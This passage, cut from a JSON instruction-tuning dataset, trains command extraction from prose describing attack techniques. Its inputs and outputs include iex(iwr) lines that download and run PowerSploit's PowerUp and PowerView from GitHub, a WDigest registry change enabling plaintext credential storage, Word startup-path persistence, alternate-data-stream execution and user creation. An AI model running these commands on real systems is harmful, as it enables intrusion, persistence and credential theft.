{ ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create an Alternate Data Stream using the command prompt, ensure you have write access and execute the following command: echo cmd /c echo \"Shell code execution.\"> #{file_name}:#{ads_filename}\nfor /f \"usebackq delims=?\" %i in (#{file_name}:#{ads_filename}) do %i. After execution, verify the stream exists by running 'dir /a-d /s /r | find \":$DATA\"' in the %temp%\\nfolder, and view its contents with 'notepad T1564.004_has_ads.txt:adstest.txt'.",
    "output": "{\"command_list\": [\"echo cmd /c echo \\\"Shell code execution.\\\"> #{file_name}:#{ads_filename}\\nfor /f \\\"usebackq delims=?\\\" %i in (#{file_name}:#{ads_filename}) do %i\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This command modifies the registry to enable plaintext password storage, which creates a security vulnerability: reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f. After execution confirms with \"The operation completed successfully,\" you can inspect the change in Registry Editor at HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest.",
    "output": "{\"command_list\": [\"reg add HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SecurityProviders\\\\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Get-DomainUser function in PowerView will display all domain users when you use the following command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose\n",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    When Word starts, it checks for a specific registry key that can be exploited to load malicious files. You can set this key by executing the command: reg add \"HKCU\\Software\\Microsoft\\Office\\16.0\\Word\\Options\" /v STARTUP-PATH /t REG_SZ /d \"C:\\Users\\%USERNAME%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\" /f. Note that a reboot may be required.",
    "output": "{\"command_list\": [\"reg add \\\"HKCU\\\\Software\\\\Microsoft\\\\Office\\\\16.0\\\\Word\\\\Options\\\" /v STARTUP-PATH /t REG_SZ /d \\\"C:\\\\Users\\\\%USERNAME%\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\\\" /f\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For scanning ports to identify listening services on the local host, run the command: nmap #{host_to_scan}",
    "output": "{\"command_list\": [\"nmap #{host_to_scan}\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Gpg4win, also known as Kleopatra, is used for encrypting files. Start by creating a test file and then encrypt it with this command: Set-Content -Path \"#{File_to_Encrypt_Location}\" -Value \"populating this file with some text\"  # Create the test.txt file again in case prereqs failed\ncmd /c \"`\"C:\\Program Files (x86)\\GnuPG\\bin\\gpg.exe`\" --passphrase 'SomeParaphraseBlah' --batch --yes -c `\"#{File_to_Encrypt_Location}`\"\"",
    "output": "{\"command_list\": [\"Set-Content -Path \\\"#{File_to_Encrypt_Location}\\\" -Value \\\"populating this file with some text\\\"  # Create the test.txt file again in case prereqs failed\\ncmd /c \\\"`\\\"C:\\\\Program Files (x86)\\\\GnuPG\\\\bin\\\\gpg.exe`\\\" --passphrase 'SomeParaphraseBlah' --batch --yes -c `\\\"#{File_to_Encrypt_Location}`\\\"\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create a new user in the command prompt, use the following command: net user /add \"#{username}\" \"#{password}\". Upon successful execution, you'll see the message 'The command completed successfully.'",
    "output": "{\"command_list\": [\"net user /add \\\"#{username}\\\" \\\"#{password}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr 